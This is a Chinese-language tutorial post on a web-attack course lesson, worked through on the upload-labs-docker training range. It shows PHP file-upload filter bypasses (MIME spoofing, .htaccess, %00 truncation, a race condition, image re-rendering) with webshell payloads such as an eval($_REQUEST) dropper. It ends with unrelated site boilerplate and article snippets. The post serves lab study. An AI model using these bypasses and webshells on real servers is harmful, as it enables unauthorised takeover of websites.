047-WEB攻防-PHP应用文件上传函数缺陷条件竞争二次渲染黑白名单JS绕过

047-WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过

Untitled

#知识点:

1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷

Untitled

演示案例:

➢PHP-原生态-文件上传-前后端验证
➢PHP-原生态-文件上传-类型文件头验证
➢PHP-原生态-文件上传-后缀黑白名单验证
➢PHP-原生态-文件上传-解析配置&二次渲染
➢PHP-原生态-文件上传-逻辑缺陷&函数缺陷

#学习前必读:

1、课前一定要明白:
无文件解析==安全问题上,格式解析是一对一的(不能jpg解析php)==
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

#测试环境安装参考:

https://github.com/ffffffff0x/f8x

https://github.com/fuzzdb-project/fuzzdb

https://github.com/sqlsec/upload-labs-docker

0、下载上述资源

1、docker安装

f8x -d 或 f8x -docker

2、进入项目文件夹

cd upload-labs-docker

Untitled

Untitled

Untitled

3、一键部署(如果发现连接不上靶场,再此输入此代码重新部署即可)

docker-compose up -d

Untitled

4、查看是否成功部署-(发现成功开启靶场端口,配置成功)

docker-compose config 命令用于验证和查看 Docker Compose 根据你的 docker-compose.yml 文件和任何环境变量生成的最终配置。该命令有助于检查 Compose 文件的有效性,并查看在运行 docker-compose up 时将应用的配置。

以下是 docker-compose config 命令的解释:

  • 命令:

    docker-compose config
  • 用途:

    • 验证: 它验证 docker-compose.yml 文件的语法和结构。
    • 配置预览: 它显示 Docker Compose 将根据指定的 Compose 文件和任何环境变量使用的最终配置。
  • 用法:

    • 导航到包含你的 docker-compose.yml 文件的目录。
    • 运行 docker-compose config 命令。
  • 输出:

    • 如果 docker-compose.yml 文件有效,则该命令将在控制台上显示生成的配置。
  • 示例:

    cd /path/to/your/docker-compose/project
    docker-compose config
  • 常见用例:

    • 确保 Compose 文件编写正确且符合预期的语法。
    • 查看最终配置,包括任何变量替换或特定于环境的调整。

通过运行 docker-compose config,你可以捕获语法错误并在实际使用 docker-compose up 部署服务之前获得对将使用的配置的概述。

Untitled

#upload-labs-docker知识点:

  • 打开burp进行抓包,并访问靶场网址http://192.168.200.130:30001/

    Untitled

    Untitled

  • 打开哥斯拉,生成木马文件

    Untitled

Untitled

1、前端JS

  • 如何判断是否是前端验证呢?

    1. 首先抓包监听,如果上传文件的时候==还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,==那么这个多半就是前端校验了

      Untitled

    2. 代码判断:打开页面查看源码,发现在前端有对应过滤代码

      Untitled

  • 解决方式:

    • 首先将木马文件的后缀修改为jpg,可以通过过滤的文件后缀
    • 通过burp抓取到数据包,修改回对应的木马文件解析后缀
    • 木马程序成功上传,即可通过哥斯拉,获取权限

    Untitled

    Untitled

    Untitled

Untitled

  • 获取上传的对应木马文件的地址URL:192.168.200.130:30001/upload/1.php
    • 使用哥斯拉连接,进入后门,拿取权限

Untitled

Untitled

Untitled

2、.htaccess(配置 Apache Web 服务器行为的配置文件)

Untitled

AddType application/x-httpd-php .png

这行代码的含义是将文件扩展名为 .png 的文件的 MIME 类型设置为 application/x-httpd-php

  1. 将木马后缀修改上传对应设置的文件后缀 .png,后上传

  2. 通过burp进行抓包,并将文件后缀修改为**.htaccess**,并将代码内容修改为AddType application/x-httpd-php .png

  3. 注意:直接访问对应上传1.png的路径http://192.168.200.130:30002/upload/1.png),访问http://192.168.200.130:30002/upload/.htaccess 这个是解析木马文件的规则,直接访问会报错403

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

  • 需要注意:无文件解析安全问题上,格式解析是一对一的

  • 例如:规定的解析规则是AddType application/x-httpd-php .png

    • 但是如果上传的文件为jpg等,则木马文件不会被解析。

    Untitled

    Untitled

3、MIME类型-(修改文件类型,抓包修改回文件类型)

Content-Type:image/png

Untitled

  1. 将木马后缀修改为可以通过文件过滤的后缀png并上传
  2. 通过burp进行抓包,并将木马文件后缀名修改回来
  3. 成功上传,并获取到文件上传路径URL:http://192.168.200.130:30003/upload/1.php
  4. 通过哥斯拉,通过后门,获取权限

Untitled

Untitled

Untitled

Untitled

4、文件头判断

GIF89a

Untitled

Untitled

Untitled

  1. 首先将木马文件代码前加入文件头(GIF89a)gif所有文件默认的文件头
  2. 将任意的gif文件上传,获取文件格式Content-Type: image/gif
  3. 将木马文件进行上传,并将文件格式修改为获取的gif文件格式,然后上传
  4. 成功上传,并获取到文件上传路径URL:192.168.200.130:30004/upload/shell.php
  5. 通过哥斯拉,通过后门,获取权限

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

5、黑名单-过滤不严

Untitled

无递归,pphphp

  • 即黑名单中的词 “php” 被替换为空字符串,但留下了 “pphphp”。
  • 这是因为 str_ireplace() 函数会对字符串进行不区分大小写的替换

Untitled

  1. 正常上传木马程序shell.php,发现有黑名单过滤关键词“php”
  2. 抓包,文件后缀修改为.pphphp即可成功上传
  3. 获取上传地址URL:http://192.168.200.130:30005/upload/shell.php
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

Untitled

6、黑名单-过滤不严

系统大小写敏感属性

Untitled

  • window:大小写过滤不敏感

  • linux:大小写过滤敏感

    1. 直接使用木马文件shell.php上传,后缀会被替换为空

    2. 将后缀名修改为.phP,则可以绕过过滤

      Untitled

    Untitled

7、低版本GET-%00截断

URL路径出现在POST的URL中自动解码一次
/var/www/html/upload/x.php%00

原理:将木马文件以.jpg格式上传,可以获得到一个对应.jpg文件img src="./upload/9720240216044425.jpg通过修改POST中URL路径使用%00截取,也就是说只有前面x.php被拼接到名称中,后面都被舍弃,在文件解析时候,依照被拼接的x.php进行文件解析,木马文件被成功解析

Untitled

Untitled

  1. 随便上传文件,抓包并发送至Repeater,并发送查看回显数据,PHP版本为5.2.17
  2. 将木马文件修改为**.jpg**,并上传抓包,将POST中URL路径路径加上**/var/www/html/upload/a.php%00**
  3. 访问对应的URL文件上传地址:http://192.168.200.130:30007/upload/a.php
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

8、低版本POST-%00截断

手工解码一次
…/upload/x.php%00 二次解码

**URL路径出现在POST下面的数据包中,需要手动解码**

Untitled

Untitled

  1. 上传木马文件修改为.jpg格式,抓包,发现URL路径出现在POST下面的数据包中
  2. 将./upload/后面加上**x.php%00,并选中该行,右键选择Convert selection → URL →URL-decode**将所选内容转换为 URL →→URL 解码(进行手动转码
  3. 访问对应的URL文件上传地址:http://192.168.200.130:30008/upload/x.php
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

Untitled

9、黑名单-过滤不严

php3

原理:源码通过黑名单中的关键词后缀进行过滤,但是由于,无法考虑全面而造成可以通过其他后缀名称进行绕过使用字典替换抓包的文件后缀,通过判断长度变化,是否成功上传对应的木马文件

Untitled

  1. 上传木马文件shell.php,通过抓包发送至Intruder

  2. 选择Clear$ 清除所有选中,选择 ∗ ∗ 木马文件后缀 p h p ,并按下 A d d 清除所有选中,选择**木马文件后缀php,并按下Add 清除所有选中,选择木马文件后缀php,并按下Add替换该后缀**

  3. 选择==Payloads,Payload Options→Load导入对应php后缀替换字典G:\develop\safety\字典\fuzzdb-master\attack\file-upload\alt-extensions-php.txt==

  4. 选择右上角Start attack,发现Length的长度不同,1573的是没有替换成功的,1625是替换成功的(不是绝对的,还需要通过哥斯拉验证后妈是否可以连接才能确定)

  5. 访问对应的URL文件上传地址:http://192.168.200.130:30009/upload/shell.php5

  6. 通过哥斯拉,连接后门,获取权限

    Untitled

    Untitled

    Untitled

Untitled

Untitled

10、逻辑不严-条件竞争

Untitled

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
  1. fopen('xiao.php','w'): 打开或创建一个名为 'xiao.php’ 的文件,以写入模式 (‘w’)。
  2. fputs: 将后面的内容写入打开的文件。在这里,它将一段 PHP 代码写入 ‘xiao.php’ 文件中。
  3. 写入的 PHP 代码:。这段代码包含一个 函数,它会执行作为参数传递的 PHP 代码。参数通过 获取,这意味着它会从 HTTP 请求的参数中获取第一个参数,然后执行其中的 PHP 代码。<?php eval($_REQUEST[1]);?>eval$_REQUEST[1]

Untitled

上传不断发包
请求不断发包

  1. 创建新的木马文件,其中代码为<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

  2. 首先刷新想要获取的木马文件路径**(请求页面)http://192.168.200.130:30010/upload/x.php**。通过抓包抓取到请求页面,并将此数据包发送至Intruder

  3. 选中Payloads→Payloads Sets→Payload type:Null payloads(负载类型:空负载)

  4. Payload Options →Continue indefinitely(无限继续)

  5. 将设置好的木马文件上传,抓包并发送至Intruder,记得删除clear $**(上传发包)**同样设置无限发包

  6. 访问对应的URL文件上传地址:http://192.168.200.130:30010/upload/xiao.php

  7. 通过哥斯拉,**注意:由于木马文件中的密码有变化,变为1<?php eval($_REQUEST[1]);?> 所以在测试后门连接的时候,需要注意,将代码对应修改为1,**连接后门,获取权限

    Untitled

    Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

11、二次渲染

Untitled

  • 先搞个正常图片1.gif,上传导出渲染后的图片
  • 将两张图片拉进010编辑器,打开工具→比较文件对比保留(匹配)部分,在保留部分添加后门代码<?php eval($_POST["pass"]);?>
  • 最后利用提示的文件包含执行图片后门代码
    • http://192.168.200.130:30011/?file=upload/1919801737.gif
    • pass=phpinfo();

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

12、函数缺陷

move_uploaded_file 1.php/.

Untitled

move_uploaded_file是一个用于将上传文件移动到指定位置的 PHP 函数。它的语法如下:

move_uploaded_file(string $filename, string $destination): bool

其中,$filename是上传文件的临时路径,$destination是目标位置的路径和文件名。

这个函数的作用是将上传的文件从临时目录移动到指定的位置。它通常用于处理文件上传功能,确保上传的文件能够被正确保存到服务器上的指定位置。

  1. 将自定义的保存文件名称写为1.php/.
  2. 将木马文件后缀修改为,jpg并上传
  3. 上传成功,获取对应的URL:192.168.200.130:30012/upload/1.php/
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

13、代码审计-数组绕过

-----------------------------174283082921961
Content-Disposition: form-data; name=“save_name[0]”

http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name=“save_name[2]”

gif

#删除Docker镜像和容器

如何优雅地删除Docker镜像和容器(超详细)_docker 删除镜像-CSDN博客

docker images

docker ps

docker rmi -f image_id

docker rm -f container_id

在对应目录下,输入docker-compose down停止和删除使用 Docker Compose 启动的容器

  1. docker images

    • 用于列出本地系统上的 Docker 镜像。
    • 示例输出显示了已下载的镜像,包括镜像的名称、标签、镜像 ID、创建时间、大小等信息。
    docker images
    
  2. docker ps

    • 用于列出正在运行的 Docker 容器。
    • 示例输出包括容器的 ID、名称、镜像、端口映射等信息。
    • 如果要列出所有容器,包括已停止的容器,可以使用 docker ps -a
    docker ps
    
  3. docker rmi -f image_id

    • 用于删除本地的 Docker 镜像
    • f-force 选项表示强制删除,即使镜像正在被使用也会被删除。
    • image_id 替换为要删除的镜像的实际 ID。(仅仅输入ID前三个字符即可)
    docker rmi -f image_id
    
  4. docker rm -f container_id

    • 用于删除本地的 Docker 容器
    • f-force 选项表示强制删除,即使容器正在运行也会被删除。
    • container_id 替换为要删除的容器的实际 ID。(仅仅输入ID前三个字符即可)
    docker rm -f container_id
    

请注意,强制删除容器或镜像可能会导致数据丢失,并且在正常情况下最好先停止容器再删除。确保在执行这些命令之前了解其潜在影响。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/708990.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Window系统部署Z-blog并结合内网穿透实现远程访问本地博客站点

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Spring Task的应用

介绍 Spring Task是Spring框架提供的任务调度工具&#xff0c;可以按照约定的时间自动执行某个代码逻辑。 定位&#xff1a; 定时任务框架 作用&#xff1a; 定时自动执行某段Java代码 应用场景&#xff1a; 引用卡每月还款提醒、银行贷款每月还款提醒、火车票售票系统处理未支…

有序链表的合并

已知线性表 LA 和 LB 中的数据元素按值非递减有序排列&#xff0c;现要求将 LA 和 LB 归并为一个新的线性表 LC&#xff0c; 且 LC 中的数据元素仍然按值非递减有序排列。例如&#xff0c;设LA(3,5,8,11) ,LB(2,6,8,9,11,15,20) 则LC(2,3,6,6,8,8,9,11,11,15,20) 输入格式 有…

文件的写出操作

1. 文件不存在&#xff0c;创建文件后写出方法: <1>打开文件&#xff1a;open()方法是文件不存在时创建文件 file open("D:/test.txt","w",encoding"UTF-8")<2>写出文件: file.write("please open your book") #内容写到内…

文献速递:深度学习--应用深度学习到DaTscan SPECT图像以改善帕金森病运动结果预测

文献速递&#xff1a;深度学习–应用深度学习到DaTscan SPECT图像以改善帕金森病运动结果预测 Title 题目 Improved motor outcome prediction in Parkinson’s disease applying deep learning to DaTscan SPECT images 应用深度学习到DaTscan SPECT图像以改善帕金森病运动…

unity学习(42)——创建(create)角色脚本(panel)——UserHandler(收)+CreateClick(发)——服务器收包2

1.解决上一次留下的问题&#xff1a; log和reg的时候也有session&#xff0c;输出看一下这两个session是同一个不&#xff1a; 实测结果reg log accOnline中的session都是同一个对象&#xff0c;但是getAccid时候的session就是另一个了。 测试结果&#xff0c;说明在LogicHan…

SpringCloud--Sentinel基本概念介绍

一、Sentinel 简介 Spring Cloud Sentinel 是阿里巴巴开源的面向分布式服务、多语言异构化服务架构的流量治理组件。主要以流量为切入点&#xff0c;从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维度来帮助开发者保障微服务的稳定性。 …

C#三元运算符(ternary operator)

在C#中&#xff0c;三元运算符&#xff08;ternary operator&#xff09;是一种简洁的条件表达式&#xff0c;它允许根据条件的结果选择性地返回两个表达式中的一个值。 三元运算符的语法如下&#xff1a; condition ? expression1 : expression2其中&#xff0c;condition …

Linux信号【保存-处理】

目录 前言&#xff1a; 1、再次认识信号 1.1、概念 1.2、感性理解 1.3、在内核中的表示 1.4、sigset_t 信号集 2、信号集操作函数 2.1、增删改查 2.2、sigprocmask 2.3、sigpending 3.信号的处理机制 3.1处理情况 3.2合适时机 4用户态与内核态 4.1、概念 4.2、…

【Java程序设计】【C00322】基于Springboot的高校竞赛管理系统(有论文)

基于Springboot的高校竞赛管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的高校竞赛管理系统&#xff0c;本系统有管理员、老师、专家以及用户四种角色&#xff1b; 管理员&#xff1a;首页、个人中心、管…

幻兽帕鲁(1.5.0)可视化管理工具(0.5.7 docker版)安装教程

文章目录 局域网帕鲁服务器部署教程帕鲁服务可视化工具安装配置服务器地址&#xff08;可跳过&#xff09;使用工具管理面板 1.5.0服务端RCON错误1.5.0服务端无法启动RCON端口 解决方法第一步&#xff1a;PalWorldSettings.ini配置第二步&#xff1a;修改PalServer.sh配置 局域…

【java】java引入google验证

1. maven引入 <dependency><groupId>com.google.zxing</groupId><artifactId>javase</artifactId><version>3.3.0</version></dependency>2. google 工具类 import org.apache.commons.codec.binary.Base32 import org.apache…

Neo4j 数据冷备

1、数据备份 进入图谱程序所在目录bin/下&#xff0c;执行&#xff1a; neo4j-admin dump --databasegraph.db --topath/***.dump注&#xff1a;path为备份dump文件创建路径&#xff0c;需注意文件的读写权限 2、数据恢复 将文件传输到需恢复的图谱机器上&#xff0c;执行&…

【Elasticsearch索引】Recovery恢复索引

文章目录 索引恢复恢复列表获取恢复信息响应详细信息正在进行的恢复响应解析高级设置 本地分片恢复事务日志 索引恢复 索引恢复提供了对正在进行的索引分片恢复的洞察。恢复状态可以针对特定的索引报告&#xff0c;也可以在集群范围内报告。 恢复列表 recovery命令是索引分片…

C++类模板详解

目录 1.模板的概念 2.类模板 1.类模板基本语法 2.类模板与函数模板区别 3.类模板中成员函数创建时机 4.类模板对象做函数参数 typeid&#xff08;&#xff09;.name() 5.类模板与继承 6.类模板成员函数类外实现 7.类模板分文件编写 #pragma once 8.类模板与友元 1.…

企业有了ERP,为什么还要上BI?

在我们以往和企业的沟通过程中&#xff0c;我们发现还是有相当多的一部分企业对于商业智能 BI 了解不多&#xff0c;或者对商业智能 BI 的理解仅停留在花花绿绿的可视化页面上&#xff0c;要么就是提出以下类似问题&#xff1a; 财务部门&#xff1a;BI 的财务分析指标也就是三…

【算法分析与设计】最大二叉树

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;算法分析与设计 ⛺️稳中求进&#xff0c;晒太阳 题目 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最…

linux rm -rf 报错badly placed ()‘s

在文件名或路径中包含了不当的字符而导致的 1.使用转义字符 可以在特殊字符前面加上反斜杠&#xff08;\&#xff09;进行转义&#xff0c;以避免它们被解释为特殊字符。删除包含括号的文件 rm -rf 文件\(1\).zip2.使用引号或单引号 可以将文件名或路径用引号或单引号括起来&a…

【C#】SixLabors.ImageSharp和System.Drawing两者知多少

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌握。…

Spring注解之参数校验

目录 一些常用的字段验证的注解 验证请求体(RequestBody) 验证请求参数(Path Variables 和 Request Parameters) 数据的校验的重要性就不用说了&#xff0c;即使在前端对数据进行校验的情况下&#xff0c;我们还是要对传入后端的数据再进行一遍校验&#xff0c;避免用户绕过…